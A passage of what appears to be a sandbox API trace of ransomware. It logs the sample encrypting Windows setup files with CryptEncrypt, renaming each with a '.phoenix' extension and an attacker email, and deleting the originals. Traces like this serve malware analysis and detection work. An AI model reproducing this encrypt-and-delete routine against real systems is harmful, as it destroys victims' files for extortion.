	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.326] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.327] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.328] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.329] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.330] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.331] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.332] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.333] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.334] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.335] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.336] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.337] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.338] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0
	[0062.679] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0062.680] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0062.718] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=577) returned 1
	[0062.718] CloseHandle (hObject=0x330) returned 1
	[0062.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0062.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.733] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.733] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.733] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.733] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.769] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa888) returned 1
	[0062.769] CryptSetKeyParam (hKey=0xbaa888, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.769] ReadFile (in: hFile=0x334, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x241, lpOverlapped=0x0) returned 1
	[0062.840] CryptEncrypt (in: hKey=0xbaa888, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x250, dwBufLen=0x250 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x250) returned 1
	[0062.840] WriteFile (in: hFile=0x328, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x250, lpOverlapped=0x0) returned 1
	[0062.841] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa208) returned 1
	[0062.841] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.842] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x60, dwBufLen=0x60 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x60) returned 1
	[0062.842] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0062.842] WriteFile (in: hFile=0x328, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x112, lpOverlapped=0x0) returned 1
	[0062.842] CryptDestroyKey (hKey=0xbaa888) returned 1
	[0062.842] CloseHandle (hObject=0x334) returned 1
	[0062.842] CloseHandle (hObject=0x328) returned 1
	[0062.844] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1
	[0062.853] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0062.853] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.881] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=307) returned 1
	[0062.881] CloseHandle (hObject=0x328) returned 1
	[0062.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20
	[0062.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.882] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.882] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.882] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.882] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0062.883] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa7c8) returned 1
	[0062.883] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.883] ReadFile (in: hFile=0x328, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x133, lpOverlapped=0x0) returned 1
	[0062.885] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x140, dwBufLen=0x140 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x140) returned 1
	[0062.885] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x140, lpOverlapped=0x0) returned 1
	[0062.886] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa788) returned 1
	[0062.886] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.886] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0062.886] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.886] WriteFile (in: hFile=0x31c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0062.894] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0062.894] CloseHandle (hObject=0x328) returned 1
	[0062.894] CloseHandle (hObject=0x31c) returned 1
	[0062.900] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1
	[0062.901] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0062.902] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.905] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=17240) returned 1
	[0062.905] CloseHandle (hObject=0x328) returned 1
	[0062.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80
	[0062.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0062.906] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0062.906] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.906] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fe88 | out: lpNewFilePointer=0x0) returned 1
	[0062.906] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.910] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fe9c | out: phKey=0x324fe9c*=0xbaa788) returned 1
	[0062.910] CryptSetKeyParam (hKey=0xbaa788, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.910] ReadFile (in: hFile=0x328, lpBuffer=0x35f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324fec4, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x324fec4*=0x4358, lpOverlapped=0x0) returned 1
	[0062.942] CryptEncrypt (in: hKey=0xbaa788, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4360, dwBufLen=0x4360 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x4360) returned 1
	[0062.942] WriteFile (in: hFile=0x334, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x4360, lpOverlapped=0x0) returned 1
	[0062.944] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x324fe34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x324fea0 | out: phKey=0x324fea0*=0xbaa2c8) returned 1
	[0062.944] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x324ff48, dwFlags=0x0) returned 1
	[0062.944] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50, dwBufLen=0x50 | out: pbData=0x35f1020*, pdwDataLen=0x324fe60*=0x50) returned 1
	[0062.944] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0062.944] WriteFile (in: hFile=0x334, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324fea8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x324fea8*=0x102, lpOverlapped=0x0) returned 1
	[0062.944] CryptDestroyKey (hKey=0xbaa788) returned 1
	[0062.944] CloseHandle (hObject=0x328) returned 1
	[0062.944] CloseHandle (hObject=0x334) returned 1
	[0062.948] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1
	[0062.950] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x324ff48 | out: pbBuffer=0x324ff48) returned 1
	[0062.950] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0062.951] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x324fee8 | out: lpFileSize=0x324fee8*=18264) returned 1
	[0062.951] CloseHandle (hObject=0x334) returned 1
	[0062.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80
